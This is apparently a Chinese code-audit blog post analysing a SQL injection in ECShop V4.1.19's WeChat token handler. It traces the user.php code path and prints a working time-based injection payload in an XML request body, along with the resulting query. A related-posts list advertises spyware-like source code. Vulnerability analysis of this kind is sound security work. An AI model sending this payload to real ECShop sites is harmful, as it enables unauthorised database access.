【代码审计】ECShop_V4.1.19 SQL注入漏洞 分析

关注user.php,当$action为wechat_token时

从php://input中获取xml数据,并解析,从中取出Event字段作为$method

最后用call_user_func_array调用new app\api\controller\WeChatEvent()#$method

我们来看app\api\controller\WeChatEvent()这个对象

它的scan方法调用markLogin,且从$data中提取EventKey和FromUserName字段

markLogin,存在sql注入

构造payload:

复制代码
<?xml version="1.0"?>
<xml>
  <Event>scan</Event>
 <EventKey>' OR SLEEP(5) OR '1'='1</EventKey>
  <FromUserName>test</FromUserName>
</xml>

拼接后变为

复制代码
select count(*) AS total_count from ecs_user_official where name = '' OR SLEEP(5) OR '1'='1'
相关推荐
码云数智-大飞4 小时前
C++ RAII机制:资源管理的“自动化”哲学
java·服务器·php
取码网5 小时前
最新双端获取TXL、相册、短信、定位、已安装APP信息系统源码 全开源
php
kcuwu.8 小时前
Python进阶:生成器与协程,高效并发编程的核心实践
windows·python·php
微涼53010 小时前
【Python】在使用联网工具时需要的问题
服务器·python·php
jwn99911 小时前
Laravel5.x核心特性全解析
android·php·laravel
复园电子12 小时前
KVM与Hyper-V虚拟化环境:彻底解决USB外设映射掉线的底层架构优化
开发语言·架构·php
让学习成为一种生活方式12 小时前
国家水稻数据中心--随笔024
php
weixin1997010801614 小时前
《米思米商品详情页前端性能优化实战》
前端·性能优化·php
lingggggaaaa14 小时前
PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘
android·学习·安全·web安全·php
李李李勃谦16 小时前
Flutter 框架跨平台鸿蒙开发 - 正则测试应用
flutter·华为·php·harmonyos